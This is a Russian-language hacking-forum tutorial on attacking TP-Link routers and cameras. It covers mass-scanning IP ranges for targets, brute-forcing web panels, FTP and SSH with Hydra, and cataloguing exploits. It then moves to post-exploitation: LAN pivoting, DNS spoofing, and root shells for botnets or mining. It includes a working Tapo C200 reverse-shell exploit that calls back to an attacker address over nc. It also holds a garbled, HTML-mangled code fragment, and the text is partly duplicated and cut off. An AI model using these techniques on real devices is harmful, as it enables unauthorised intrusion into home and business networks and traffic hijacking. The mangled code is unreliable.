1.Вступление
2.Information Gathering
3.Bruteforse атаки
4.Атаки через эксплоиты
5.Постэксплуатация
6.Итоги
История компании TP-Link: TP-Link была основана в 1996 году в Китае. Начав свою деятельность с небольшой команды, компания быстро стала известным производителем сетевых устройств благодаря своему фокусу на качестве, инновациях и доступной цене своей продукции. С тех пор TP-Link стала одним из ведущих поставщиков сетевого оборудования по всему миру.
Устройства TP-Link: TP-Link предлагает широкий спектр сетевых устройств, включая маршрутизаторы, коммутаторы, адаптеры Wi-Fi, точки доступа, репитеры, сетевые хранилища и многое другое. Вот некоторые из их самых популярных моделей:
Например самые последние эксплоиты:
90% роутеров или другого сетевого оборудования, а тем более домашек TP-Link имеют пароль админ веб-панели по умолчанию.
У всех роутеров открыта веб панель, это самое популярное язвимое место для брута.
Роутеры TP-Link актуальны большими возможностями своей прошивки, изменение настроек сети, поднятие и конфигурация VPN сервера, перепрошивка устройства, настройка кастомного DNS сервера и многое другое!
Также эти роутеры очень популярны в домашних сетях, но не расстраивайтесь – их также используют корпы. Но также не забывайте что и домашние сети можно неплохо отработать зависимо от модели и версии прошивки оборудования. Даже пройдясь простым Router Scan по диапазонам стран, вы словите неплохое количество роутеров TP-Link, про их эксплуатацию мы поговорим в конце статьи.
Первый этап атаки – сбор информации об цели, но сперва нам нужно определить ту самую цель то есть оборудование TP Link.
Определение с помощью Router Scan:
Инструмент Router Scan умеет парсить заголовки веб страниц входа, тем самым покажет нам марку и модель оборудования (иногда даже тип оборудования и версию прошивки)
Скачать Router Scan: http://stascorp.com/load/0-0-1-56-20
1.Открываем инструмент Router Scan (На линуксе его можно открыть с помощью инструмента Wine , sudo wine RouterScan.exe)
2.В поле добавления таргетов кликаем сюда на X
3.Пишем IP адреса, инструмент также принимает CIDR диапазоны (например x.x.x.x-x.x.x.x или x.x.x.x/24)
4.Запускаем сканирование
После завершения сканирования в строке “Search” пишем TP-Link
Теперь после сканирования мы можем увидеть такую картину:
Мы можем выделить колонку с IP адресами и скопировать ее нажав правой кнопкой мыши и выбрав “copy selected cells”.
Определение по MAC адресу:
С помощью инструмента Advanced IP Scanner мы сможем просканировать локальную сеть и спарсить данные из MAC адресов устройств.
Скачать: https://www.advanced-ip-scanner.com/download/
Запускаем программу , и в поле пишем свою подсеть.
Чтобы узнать подсеть , на системах Windows: Ipconfig на системах Linux: ip a
Нажимаем кнопку “Сканировать”. Запускаем программу , и в поле пишем свою подсеть.
После сканирования , в разделе “производитель” мы найдем устройства от TP-Link
Определение по баннерам сетевых служб:
На 80 порте висит та самая веб-панель, используя инструмент сканирования Nmap с флагом -sV для получения баннера службы, можно определить в сети те самые устройства TP-Link.
Для сканирования локальной подсети:
Для сканирования устройств в всемирной паутине:
Используя инструмент Router Scan который мы установили в предыдущей главе мы сможем спарсить информацию из этого заголовка.
1.Открываем инструмент Router Scan (На линуксе его можно открыть с помощью инструмента Wine , sudo wine RouterScan.exe)
2.В поле добавления таргетов кликаем сюда на X
3.Пишем IP адреса, инструмент также принимает CIDR диапазоны (например x.x.x.x-x.x.x.x или x.x.x.x/24)
4.Запускаем сканирование
После завершения сканирования в строке “Search” пишем TP-Link
Теперь в колонке Server name мы сможем увидеть модель оборудования и версию прошивки.
Преимущество Router Scan в том что он работает сразу с большим списком таргетов и в много потоке но если нам надо вручную проверить версию оборудования на определенном IP адресе – перейдите на этот айпи адрес через браузер например: https://192.168.0.1
Вот такую картину мы увидим:
Сверху у нас будет модель оборудования, и иногда версия прошивки (зависит от модели оборудования)
Для этого мы будем использовать инструмент сканирования Nmap с флагом -A
Модуль соберет полную информацию про девайс, такую как все открытые порты на устройстве, баннеры служб, сканирование трассировки и использование скриптов Nmap NSE.
На 90% устройств открыт порт 80, то есть доступ по веб панели, это основной и в почти всех случаях самый эффективный вектор атаки – брутфорс веб панели.
Но иногда мы можем увидеть открытый протокол FTP, а еще чаще е SSH (Dropbear sshd 2012.55) FTP используют как сервер хранения данных, а SSH для удалённого доступа к консоли оболочки роутера.
Если эти два протоколы открыты, значит для каждого протокола у нас появляется новый вектор атаки на цель – брутфорс.
После сбора информации об наших целях, можно перейти к атаке. Сперва мы разберем атаку методом брутфорса на открытые протоколы (Веб панель администрирования, FTP, SSH) а потом перейдем к использованию эксплоитов.
Логин и пароль девайса по умолчанию – admin:admin в 70% случаев админы так и оставляют этот логин и пароль в надежде что их хакеры точно не затронут или изменяют на пароли типа qwerty, password и все в этом роде)
Для точечного брута, мы будем использовать инструмент с Github - https://github.com/WalderlanSena/toolsrouterbrute
Также нам нужно вордлист для брута, вот репозиторий с несколькими доступными вариантами: https://weakpass.com/
Скачав инструмент и нужный нам словарь, переходим в директорию с инструментом, и запускаем его с помощью команды
Инструмент начнет подбор паролей, и в случае удачи – покажет нам пароль к админке.
Для массового взлома роутеров TP-Link мы будем использовать инструмент Router Scan. Его преимущества:
Обычно пользователи могут настроить учетные данные (логин и пароль) для доступа к FTP-серверу в оборудовании TP-Link. Важно использовать надежные учетные данные и при необходимости ограничить доступ к FTP-серверу извне сети, чтобы обеспечить безопасность данных.
Для брутфорса девайса TP-Link через протокол FTP, мы будем использовать инструмент Hydra.
Почти всегда логин это admin, но также для расширенной атаки используйте прокси, это флаг -P <proxy_list>
SSH обеспечивает безопасную аутентификацию с использованием публичных и приватных ключей или паролей. Через SSH можно выполнить команды на устройстве и настроить различные параметры, в том числе настройки сети и безопасности.
Для брутфорса девайса TP-Link через протокол SSH, мы будем использовать инструмент Hydra.
Почти всегда логин это admin, но также для расширенной атаки используйте прокси, это флаг
После удачной атаки, мы получим логин и пароль к SSH, зайдя по нему мы попадем в оболочку Busy box, с которой мы сможем смотреть и создавать файлы.
TP-Link Tapo c200 1.1.15 - Remote Code Execution (RCE)
TP-Link Tapo C200 - это сетевая камера видеонаблюдения, предназначенная для использования в домах и малых офисах. Она позволяет пользователям наблюдать за своими владениями или рабочими пространствами через удаленный доступ через мобильное приложение.
Уязвимость базируется на не фильтрации запросов к серверу, эксплоит отсылает вредоносный запрос, тем самым вызывает Reverse Shell.
TP-Link Archer A7/C7 - Unauthenticated LAN Remote Code Execution
Эксплоит работает в пределах локальной сети, Этот модуль использует уязвимость внедрения команд в Демон tdpServer (/usr/bin/tdpServer)
Уязвимые устройства – TP-Link Archer A7, TP-Link Archer C7 (Новая техника инъекции работает и на старых прошивках. Все версии прошивки до (но исключая) выпусков 201029 и 201030 могут быть использованы)
Эксплоит находится в инструменте Metasploit Framework, для его выбора выполните эту команду в консоли инструмента: use exploit/linux/misc/tplink_archer_a7_c7_lan_rce
www.exploit-db.com
TP LINK TL-WR849N - Remote Code Execution
TP-Link TL-WR849N - это беспроводной маршрутизатор, который предназначен для обеспечения беспроводного интернет-подключения и сетевого распределения в домашних условиях или в небольших офисах. Этот маршрутизатор предлагает базовые функции маршрутизации, беспроводного доступа и защиты, делая его доступным решением для пользователей, которые хотят подключить несколько устройств к интернету.
Удаленный злоумышленник может использовать эту уязвимость, чтобы инициировать удаленное выполнение кода в целевой системе. С помощью зловредного запроса на веб панель.
TP-Link TL-WA850RE - Remote Command Execution
TP-Link WA850RE - это устройство, известное как усилитель беспроводного сигнала или Wi-Fi репитер. Его основная цель - улучшить покрытие беспроводной сети в доме, офисе или другом помещении, где сигнал Wi-Fi может быть слабым или недостаточным.
На httpd-сервере универсального расширителя диапазона Wi-Fi TP-Link WA850RE существует уязвимость, которая позволяет аутентифицированным злоумышленникам вводить произвольные команды в качестве аргументов для вызова execve() из-за отсутствия очистки ввода. Внедренные команды выполняются с привилегиями root.
TP-Link TL-WR1043ND v2 - это многозадачный беспроводной маршрутизатор, предназначенный для домашнего использования и малых офисов. Он обладает различными функциями и характеристиками, позволяя пользователям создавать и управлять своей собственной беспроводной сетью.
Проблема была обнаружена на устройствах TP-Link TL-WR1043ND V2. Злоумышленник может отправить файл cookie в пакете проверки подлинности HTTP в веб-интерфейс управления маршрутизатором и полностью контролировать маршрутизатор, не зная учетных данных.
importstyle='font-size:8.0pt;font-family:Consolas;color:black'> requests
class=token>asciistyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'''
__________ __ _ __
TP-Link TL-WR840N/TL-WR841N - Authenticaton Bypass
TP-Link TL-WR840N и TL-WR841N - это два различных модели беспроводных маршрутизаторов от компании TP-Link. Оба устройства предназначены для создания беспроводной сети и обеспечения доступа к интернету для устройств в доме или офисе.
Эта проблема вызвана неправильной обработкой сеанса в папке /cgi/ или /cgi.
файл, найденный Тухидом Шейхом (членом команды BlackFog).
Если какой-либо злоумышленник отправляет Referer Header со своим запросом и устанавливает Referer:
http://192.168.0.1/mainFrame.htm, аутентификация не требуется и
злоумышленник может выполнять действия маршрутизатора без аутентификации.
Список команд для изменения настроек роутера без авторизации:
TP-Link TL-WR841N - это беспроводной маршрутизатор, предназначенный для домашнего использования и небольших офисов. Он предоставляет базовые функции маршрутизации и беспроводного доступа к интернету, что делает его популярным выбором для пользователей, которые ищут надежное и простое в использовании устройство.
Работа эксплоита заключается во внедрения системной полезной нагрузки через веб панель.
TP-Link TL-WR740N v4 Router (FW-Ver. 3.16.6 Build 130529 Rel.47286n) - Command Execution
TP-Link TL-WR740N v4 - это беспроводной маршрутизатор, который обеспечивает базовые функции для создания беспроводной сети и обеспечения доступа к интернету. Он предназначен для использования в домашних условиях и небольших офисах, где требуется надежное беспроводное соединение.
Параметры доменного имени «Родительский контроль» и «Доступ Управление» TP-Link TL-WR740N v4 (FW-Ver. 3.16.6 Build 130529 Rel.47286n) маршрутизаторы склонны к выполнению произвольных команд оболочки как root для пользователей, прошедших проверку подлинности в веб-интерфейсе.
Каждая полезная нагрузка оболочки ограничена 28 байтами. «Родительский контроль» функция позволяет указать 8 доменов (= 8 команд), поэтому у вас есть 8 x 28 = 244 байта команд оболочки.
Этого достаточно для пост-загрузки и выполнить сценарий оболочки произвольной длины с tftp-сервера.
Используя этот метод, можно получить полный контроль над устройством, когда после загрузки более мощного бинарного MIPS-файла busybox и выполнения telnetd или используя netcat для обратного подключения.
Скачать exploit: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34254.7z(Password: TP-P0wned-Link) запускайте на виртуалке!
Options:
/a Use Access Control Exploit
/p Use Parental Control Exploit
[RouterIp] IP of the target to attack (default 192.168.0.1)
[Username] Username of the Webinterface Login (default admin)
[Password] Username of the Webinterface Login (default admin)
[TFTPServer] TFTP Host where the 'a' shell file is hosted for execution
Example: ParentalControlExploit.exe /a 192.168.0.1 admin admin 192.168.0.100
[+] Unauthenticated
[+] Author: Usman Saeed (usman [at] xc0re.net)
[+] Affected Version: Firmware version: 1.13 Build 2018/01/24 rel.52299 EU
[·] Impact: Client side attacks are very common and are the source of maximum number of user compromises. With this attack, the threat actor can steal cookies, redirect an innocent victim to a malicious website, thus compromising the user.
[·] Reason: The remote webserver does not filter special characters or illegal input.
[+] Attack type: Remote
[+] Patch Status: Unpatched
[+] Exploitation:
[!] The Cross-site scripting vector can be executed, as illustrated below
TP-Link TL-WR740N - Cross-Site Scripting
TP-Link TL-MR3220 - Cross-Site Scripting
www.exploit-db.com
TP-Link TL-WR840N - Denial of Service
1- Сначала подключитесь к этой сети
2- Откройте терминал => И введите «macof -i eth0 -n 10
3- Нажмите Enter
4- Вы увидите, что ваше сетевое соединение будет потеряно.
TP-Link TL-WR740N Wireless Router - Denial of Service
RouterSploit:
Также хочу показать вам пример эксплуатации уязвимостей оборудования TP-Link с помощью инструмента RouterSploit.
Инструмент по дефолту установлен в Kali Linux, для использованиязапустите в консоли команду sudo routersploit
Выберем модель для проверки уязвимостей в роутер:
Добавим цель для сканирования:
Запускаем модуль командой
После проверки инструмент выдаст нам путь к эксплоитам с которыми мы можем работать, выбрав их командой use <путь к эксплоиту>
Для проведения этого этапа pivoting-a (закрепления в сети) нам нужно выполнить определенные действия в веб панели администрирования роутера:
В случае с PPTP, мы подключаемся с системы VPN/добавить новое подключение, в настройках подключения указываем протокол PPTP, IP роутера и Логин/пасс который мы указали при настройке VPN сервера.
После подключения нам надо проверить какая подсеть в нашего VPN, открываем консоль и пишем ipconfig(Windows) или ifconfig (Linux).
Как мы видим – наш ip 10.10.15.245, это значит что подсеть 10.10.15.0/24
Просканируя подсеть мы увидим девайсы, теперь сеть в наших руках)
Сперва нам нужен дедик, его мы делаем как днс сервер и настраиваем редиректы.
После успешного входа в веб-панель маршрутизатора, найдите раздел, связанный с настройками сети или интернет-подключением. Название раздела может различаться в зависимости от модели маршрутизатора.
В этом разделе вы должны найти опцию "DNS" или "Настройки DNS". Нажмите на нее.
Здесь вы можете выбрать режим настройки DNS: "Автоматический" (обычно использует DNS-сервер вашего интернет-провайдера) или "Вручную".
Если вы хотите настроить DNS-сервера вручную, введите адрес своего DNS-сервера.
После внесения изменений, сохраните настройки.
Перезагрузите маршрутизатор, чтобы изменения вступили в силу.
После перезагрузки проверьте работу новых DNS-серверов, перейдя на веб-сайт, чтобы убедиться, что они правильно настроены.
Для поднятия OpenVPN сервера на устройстве:
1.Переходим в админ панель роутера
2.Переходим в раздел Advanced
3.Выбираем VPN\OpenVPN
4.Ставим галочку на Enable VPN Server и выбираем Service type TCP и Internet and Home Network
5.Сохраняем настройки и кликаем на generate certificate
6.Кнопкой export скачиваем готовый OpenVPN конфиг
Теперь этот конфиг файл мы сможем запускать с разных клиентов OpenVPN и работать с IP адреса роутера!
Для поднятия PPTP VPN сервера на устройстве:
1. Переходим в админ панель роутера
2. Переходим в раздел Advanced
3. Выбираем VPN\PPTP VPN
4. Ставим галочку на Enable VPN server
5. Выбираем количество клиентов (если VPN для личного использования, ставим 1-2)
6. Пишем логин/пароль для подключения к VPN
7.Нажимаем Save для сохранения настроек.
Теперь с помощью IP/Login/Pass мы сможем подключиться к этому VPN и заменить свой IP адрес на адрес роутера.
На винде с системы: VPN/добавить новое подключение, в настройках подключения указываем протокол PPTP, IP роутера и Логин/пасс который мы указали при настройке VPN сервера.
Также познакомимся с оболочкой BusyBox: BusyBox - это небольшой исполняемый файл, который комбинирует множество часто используемых утилит и командных оболочек в один пакет. Он предназначен для использования в встраиваемых системах, таких как роутеры, чтобы предоставить базовые команды и утилиты в ограниченных ресурсах.
Роутеры TP-Link, как и многие другие встроенные устройства, часто используют BusyBox для предоставления командной строки и базовых утилит. Это позволяет администраторам настраивать и управлять роутерами через командную строку или SSH.
Подключившись к роутеру по SSH мы автоматически попадаем в эту оболочку.
Некоторые основные возможности и команды Busybox:
Как мы знаем, ОС роутеров TP-Link и вообще других производителей сетевого оборудования основаны на ядре Unix/Linux. С помощью некоторых RCE эксполитов мы сможем производить свои команды в ядре роутера TP-Link.
TP-Link TL-WR902AC firmware 210730 (V3) - Remote Code Execution (RCE) (Authenticated)
www.exploit-db.com
С помощью перепрошивки роутера TP-Link TL-WR902AC, эксплоит устанавливает в кастомной прошивке бэкдор, который позволяет получить консольную оболочку с рут правами к ядру роутера.
TP-Link WDR4300 - Remote Code Execution (Authenticated)
www.exploit-db.com
Эксплоит нам предоставляет Bind shell оболочку к взломанному роутеру TP-Link.
После получения рутового шела к ядру, мы полностью захопили железку! Мы можем изучать ядро, писать мальвари под роутер (например ботнеты) или даже майнить.
К примеру, большая часть RCE эксплоитов будет работать только если мы выдадим эксплоиту креды от админки.
TP-Link TL-WR740N - Authenticated Directory Transvers
www.exploit-db.com
Этот эксплоит позволяет просматривать файлы системы и ядра, а также вытягивать и анализировать их.
TP-Link TL-WR841N Router - Local File Inclusion
www.exploit-db.com
эксплоит для этой модели роутера работает аналогично.
В разделе сбора информации мы рассмотрели методы определения наличия устройств TP-Link в сети, определения версии прошивки и анализа активных служб. Это помогло нам сформировать базу для последующих этапов анализа и атак.
Проанализировав слабые точки в безопасности, мы перешли к брутфорс атакам. Мы попытались проникнуть в систему, используя методы брутфорса для веб-панели, FTP и SSH. Это позволило нам определить, насколько эффективны и защищены данные точки входа.
Основываясь на списке уязвимостей, мы исследовали потенциальные атаки через эксплоиты, такие как RCE, обход аутентификации, инъекции команд, межсайтовая атака сценариев и атаки DoS. Эти атаки позволили нам демонстрировать, как устройства TP-Link могут быть подвержены различным типам угроз.
После успешных атак, мы перешли к этапу постэксплуатации. Здесь мы исследовали способы расширения нашего контроля над устройством, включая проникновение в локальную сеть, атаку DNS Spoofing, настройку VPN для личного использования и получение удаленного доступа (шелла) к устройству.
В заключение, данная статья позволила нам более глубоко понять потенциальные риски и уязвимости устройств TP-Link, а также проиллюстрировать, как различные методы атак могут быть использованы для получения несанкционированного доступа к системе.
Автор: Gufi
Сделано специально для xss.pro!
- Знакомство с TP Link
- Актуальность атак на TP Link
2.Information Gathering
- Определение оборудования TP Link в сети
- Определение версии прошивки
- Сканирование служб и построение векторов атак
3.Bruteforse атаки
- Брутфорс веб панели
- Брутфорс FTP
- Брутфорс SSH
4.Атаки через эксплоиты
- Список устройств уязвимых к RCE
- Список устройств уязвимых к Auth Bypass
- Список устройств уязвимых к Command Injection
- Список устройств уязвимых к Cross-Site Scripting
- Список устройств уязвимых к DoS атаке
5.Постэксплуатация
- Проникаем в удаленную локальную сеть
- Проводим DNS Spoofing
- Поднимаем VPN для личного использования
- Получаем шелл
- Эксплуатируем уязвимости типа “Authenticated”
6.Итоги
Вступление
Знакомство с TP-Link
TP Link это одна из ведущих мировых компаний, специализирующаяся на производстве сетевого оборудования и решений для домашних и бизнес-сетей. Давайте познакомимся с историей компании и её самыми популярными устройствами.Знакомство с TP-Link
История компании TP-Link: TP-Link была основана в 1996 году в Китае. Начав свою деятельность с небольшой команды, компания быстро стала известным производителем сетевых устройств благодаря своему фокусу на качестве, инновациях и доступной цене своей продукции. С тех пор TP-Link стала одним из ведущих поставщиков сетевого оборудования по всему миру.
Устройства TP-Link: TP-Link предлагает широкий спектр сетевых устройств, включая маршрутизаторы, коммутаторы, адаптеры Wi-Fi, точки доступа, репитеры, сетевые хранилища и многое другое. Вот некоторые из их самых популярных моделей:
- Маршрутизаторы: TP-Link предлагает маршрутизаторы различных классов для домашних пользователей и бизнес-среды. Некоторые популярные модели включают Archer C7, Archer A7, Archer AX50, и Archer C4000.
- Коммутаторы: TP-Link предлагает коммутаторы различной емкости и функциональности для создания стабильных сетей в офисах и домах. Некоторые популярные модели включают TL-SG105, TL-SG108, и TL-SG2424.
- Точки доступа: TP-Link предлагает беспроводные точки доступа для усиления сигнала Wi-Fi и расширения покрытия сети. Некоторые популярные модели включают EAP225, EAP245, и EAP620.
- Репитеры: TP-Link предлагает устройства для расширения зоны покрытия Wi-Fi, такие как RE300, RE450, и RE650.
- Адаптеры Wi-Fi: TP-Link предлагает USB Wi-Fi адаптеры и PCIe адаптеры для подключения компьютеров к беспроводной сети. Некоторые популярные модели включают Archer T4U, Archer T6E, и Archer T9E.
Актуальность атак на TP Link
Уязвимостей для оборудования Tp-Link очень много! В отличии от других производителей роутеров.Например самые последние эксплоиты:
- TP-Link TL-WR740N - Authenticated Directory Transversal
- TP-Link TL-WR940N V4 - Buffer OverFlow
- TP-Link TL-WR902AC firmware 210730 (V3) - Remote Code Execution (RCE) (Authenticated)
- TP-Link Tapo c200 1.1.15 - Remote Code Execution (RCE)
- TP-Link TL-WR841N - Command Injection
90% роутеров или другого сетевого оборудования, а тем более домашек TP-Link имеют пароль админ веб-панели по умолчанию.
У всех роутеров открыта веб панель, это самое популярное язвимое место для брута.
Роутеры TP-Link актуальны большими возможностями своей прошивки, изменение настроек сети, поднятие и конфигурация VPN сервера, перепрошивка устройства, настройка кастомного DNS сервера и многое другое!
Также эти роутеры очень популярны в домашних сетях, но не расстраивайтесь – их также используют корпы. Но также не забывайте что и домашние сети можно неплохо отработать зависимо от модели и версии прошивки оборудования. Даже пройдясь простым Router Scan по диапазонам стран, вы словите неплохое количество роутеров TP-Link, про их эксплуатацию мы поговорим в конце статьи.
Information Gathering
Определение оборудования TP Link в сети
Мы будем работать с двумя кейсами: локальная сеть и устройства во всемирной паутине.Определение оборудования TP Link в сети
Первый этап атаки – сбор информации об цели, но сперва нам нужно определить ту самую цель то есть оборудование TP Link.
Определение с помощью Router Scan:
Инструмент Router Scan умеет парсить заголовки веб страниц входа, тем самым покажет нам марку и модель оборудования (иногда даже тип оборудования и версию прошивки)
Скачать Router Scan: http://stascorp.com/load/0-0-1-56-20
1.Открываем инструмент Router Scan (На линуксе его можно открыть с помощью инструмента Wine , sudo wine RouterScan.exe)
2.В поле добавления таргетов кликаем сюда на X
3.Пишем IP адреса, инструмент также принимает CIDR диапазоны (например x.x.x.x-x.x.x.x или x.x.x.x/24)
4.Запускаем сканирование
После завершения сканирования в строке “Search” пишем TP-Link
Теперь после сканирования мы можем увидеть такую картину:
Мы можем выделить колонку с IP адресами и скопировать ее нажав правой кнопкой мыши и выбрав “copy selected cells”.
Определение по MAC адресу:
С помощью инструмента Advanced IP Scanner мы сможем просканировать локальную сеть и спарсить данные из MAC адресов устройств.
Скачать: https://www.advanced-ip-scanner.com/download/
Запускаем программу , и в поле пишем свою подсеть.
Чтобы узнать подсеть , на системах Windows: Ipconfig на системах Linux: ip a
Нажимаем кнопку “Сканировать”. Запускаем программу , и в поле пишем свою подсеть.
После сканирования , в разделе “производитель” мы найдем устройства от TP-Link
Определение по баннерам сетевых служб:
На 80 порте висит та самая веб-панель, используя инструмент сканирования Nmap с флагом -sV для получения баннера службы, можно определить в сети те самые устройства TP-Link.
Для сканирования локальной подсети:
Nmap -sV 192.168.0.1/24 (не забудьте заменить подсеть на свою)Для сканирования устройств в всемирной паутине:
Nmap -sV <ip> или Nmap -sV <путь к файлу с IP адресами>Определение версии прошивки
В заголовке веб страницы админ панели роутера, мы сможем увидеть модель оборудования, а в некоторых случаях и версию прошивки! Исходя из этих данных мы сможем строить актуальные векторы атак на систему.Используя инструмент Router Scan который мы установили в предыдущей главе мы сможем спарсить информацию из этого заголовка.
1.Открываем инструмент Router Scan (На линуксе его можно открыть с помощью инструмента Wine , sudo wine RouterScan.exe)
2.В поле добавления таргетов кликаем сюда на X
3.Пишем IP адреса, инструмент также принимает CIDR диапазоны (например x.x.x.x-x.x.x.x или x.x.x.x/24)
4.Запускаем сканирование
После завершения сканирования в строке “Search” пишем TP-Link
Теперь в колонке Server name мы сможем увидеть модель оборудования и версию прошивки.
Преимущество Router Scan в том что он работает сразу с большим списком таргетов и в много потоке но если нам надо вручную проверить версию оборудования на определенном IP адресе – перейдите на этот айпи адрес через браузер например: https://192.168.0.1
Вот такую картину мы увидим:
Сверху у нас будет модель оборудования, и иногда версия прошивки (зависит от модели оборудования)
Сканирование служб и построение векторов атак
Теперь определив оборудование TP-Link в сети, нам надо просканировать все открытые службы для удаленного доступа к девайсу чтобы построить возможные векторы атак.Для этого мы будем использовать инструмент сканирования Nmap с флагом -A
Nmap -A <IP>Модуль соберет полную информацию про девайс, такую как все открытые порты на устройстве, баннеры служб, сканирование трассировки и использование скриптов Nmap NSE.
На 90% устройств открыт порт 80, то есть доступ по веб панели, это основной и в почти всех случаях самый эффективный вектор атаки – брутфорс веб панели.
Но иногда мы можем увидеть открытый протокол FTP, а еще чаще е SSH (Dropbear sshd 2012.55) FTP используют как сервер хранения данных, а SSH для удалённого доступа к консоли оболочки роутера.
Если эти два протоколы открыты, значит для каждого протокола у нас появляется новый вектор атаки на цель – брутфорс.
После сбора информации об наших целях, можно перейти к атаке. Сперва мы разберем атаку методом брутфорса на открытые протоколы (Веб панель администрирования, FTP, SSH) а потом перейдем к использованию эксплоитов.
Bruteforse атаки
Брутфорс веб панели
Перейдем к атаке! Основной целей для нас будет веб панель администрирования устройства. Она висит на порте 80, увидеть ее мы можем зайдя на IP адрес роутера через браузер.Брутфорс веб панели
Логин и пароль девайса по умолчанию – admin:admin в 70% случаев админы так и оставляют этот логин и пароль в надежде что их хакеры точно не затронут или изменяют на пароли типа qwerty, password и все в этом роде)
Для точечного брута, мы будем использовать инструмент с Github - https://github.com/WalderlanSena/toolsrouterbrute
Также нам нужно вордлист для брута, вот репозиторий с несколькими доступными вариантами: https://weakpass.com/
Скачав инструмент и нужный нам словарь, переходим в директорию с инструментом, и запускаем его с помощью команды
python trb.py admin <IP> <путь к словарю>Инструмент начнет подбор паролей, и в случае удачи – покажет нам пароль к админке.
Для массового взлома роутеров TP-Link мы будем использовать инструмент Router Scan. Его преимущества:
- Работа с IP диапазонами
- Добавление списка таргетов (IP)
- Работа в многопоточном режиме
- Проведение брутфорс атаки
- Использование эксплоитов
- Открываем инструмент Router Scan (На линуксе его можно открыть с помощью инструмента Wine , sudo wine RouterScan.exe)
- В поле добавления таргетов кликаем сюда на X
- Пишем IP адреса, инструмент также принимает CIDR диапазоны (например x.x.x.x-x.x.x.x или x.x.x.x/24)
- Выбираем количество потоков
- Запускаем сканирование
Брутфорс FTP
FTP - это стандартный протокол для передачи файлов между компьютерами в сети. Оборудование TP-Link часто поддерживает FTP-сервер, который позволяет пользователям обмениваться файлами с другими устройствами через сеть. С помощью FTP можно загружать файлы на устройство TP-Link или скачивать файлы с него. Он использует два канала для передачи данных: управляющий канал для установления соединения и передачи команд, а также канал данных для фактической передачи файлов.Обычно пользователи могут настроить учетные данные (логин и пароль) для доступа к FTP-серверу в оборудовании TP-Link. Важно использовать надежные учетные данные и при необходимости ограничить доступ к FTP-серверу извне сети, чтобы обеспечить безопасность данных.
Для брутфорса девайса TP-Link через протокол FTP, мы будем использовать инструмент Hydra.
hydra -l <логин> -P <путь к словарю> ftp://<IP>Почти всегда логин это admin, но также для расширенной атаки используйте прокси, это флаг -P <proxy_list>
Брутфорс SSH
SSH (Secure Shell): SSH - это криптографический сетевой протокол, который обеспечивает защищенное удаленное подключение и выполнение команд на удаленных устройствах. TP-Link-устройства поддерживают SSH, что позволяет администраторам исключительное удаленное управление устройствами через зашифрованное соединение.SSH обеспечивает безопасную аутентификацию с использованием публичных и приватных ключей или паролей. Через SSH можно выполнить команды на устройстве и настроить различные параметры, в том числе настройки сети и безопасности.
Для брутфорса девайса TP-Link через протокол SSH, мы будем использовать инструмент Hydra.
hydra -l <username> -P <password_list> ssh://<target_ip>Почти всегда логин это admin, но также для расширенной атаки используйте прокси, это флаг
-P <proxy_list>После удачной атаки, мы получим логин и пароль к SSH, зайдя по нему мы попадем в оболочку Busy box, с которой мы сможем смотреть и создавать файлы.
Атаки через эксплоиты
Список устройств уязвимых к RCE
Remote Code Execution (RCE): Эта уязвимость позволяет злоумышленникам выполнить свой код на устройстве, получив удаленный доступ к системе.Список устройств уязвимых к RCE
TP-Link Tapo c200 1.1.15 - Remote Code Execution (RCE)
TP-Link Tapo C200 - это сетевая камера видеонаблюдения, предназначенная для использования в домах и малых офисах. Она позволяет пользователям наблюдать за своими владениями или рабочими пространствами через удаленный доступ через мобильное приложение.
Уязвимость базируется на не фильтрации запросов к серверу, эксплоит отсылает вредоносный запрос, тем самым вызывает Reverse Shell.
Python:
import requests, urllib3, sys, threading, os
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PORT = 1337
REVERSE_SHELL = 'rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc %s %d >/tmp/f'
NC_COMMAND = 'nc -lv %d' % PORT # nc command to receive reverse shell (change it depending on your nc version)
if len(sys.argv) < 3:
print("Usage: python3 pwnTapo.py <victim_ip> <attacker_ip>")
exit()
victim = sys.argv[1]
attacker = sys.argv[2]
print("[+] Listening on %d" % PORT)
t = threading.Thread(target=os.system, args=(NC_COMMAND,))
t.start()
print("[+] Serving payload to %s\n" % victim)
url = "https://" + victim + ":443/"
json = {"method": "setLanguage", "params": {"payload": "';" + REVERSE_SHELL % (attacker, PORT) + ";'"}}
requests.post(url, json=json, verify=False)
TP-Link Archer A7/C7 - Unauthenticated LAN Remote Code Execution
Эксплоит работает в пределах локальной сети, Этот модуль использует уязвимость внедрения команд в Демон tdpServer (/usr/bin/tdpServer)
Уязвимые устройства – TP-Link Archer A7, TP-Link Archer C7 (Новая техника инъекции работает и на старых прошивках. Все версии прошивки до (но исключая) выпусков 201029 и 201030 могут быть использованы)
Эксплоит находится в инструменте Metasploit Framework, для его выбора выполните эту команду в консоли инструмента: use exploit/linux/misc/tplink_archer_a7_c7_lan_rce
TP-Link Archer A7/C7 - Unauthenticated LAN Remote Code Execution (Metasploit)
TP-Link Archer A7/C7 - Unauthenticated LAN Remote Code Execution (Metasploit). CVE-2020-10884CVE-2020-10883CVE-2020-10882 . remote exploit for Linux_MIPS platform
TP LINK TL-WR849N - Remote Code Execution
TP-Link TL-WR849N - это беспроводной маршрутизатор, который предназначен для обеспечения беспроводного интернет-подключения и сетевого распределения в домашних условиях или в небольших офисах. Этот маршрутизатор предлагает базовые функции маршрутизации, беспроводного доступа и защиты, делая его доступным решением для пользователей, которые хотят подключить несколько устройств к интернету.
Удаленный злоумышленник может использовать эту уязвимость, чтобы инициировать удаленное выполнение кода в целевой системе. С помощью зловредного запроса на веб панель.
Код:
importstyle='font-size:8.0pt;font-family:Consolas;color:black'> requests
class=token>defstyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>outputclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>):style='font-size:8.0pt;font-family:Consolas;color:black'>
url class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'http://192.168.0.1/cgi?1'style='font-size:8.0pt;font-family:Consolas;color:black'>
data class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>''style='font-size:8.0pt;font-family:Consolas;color:black'>
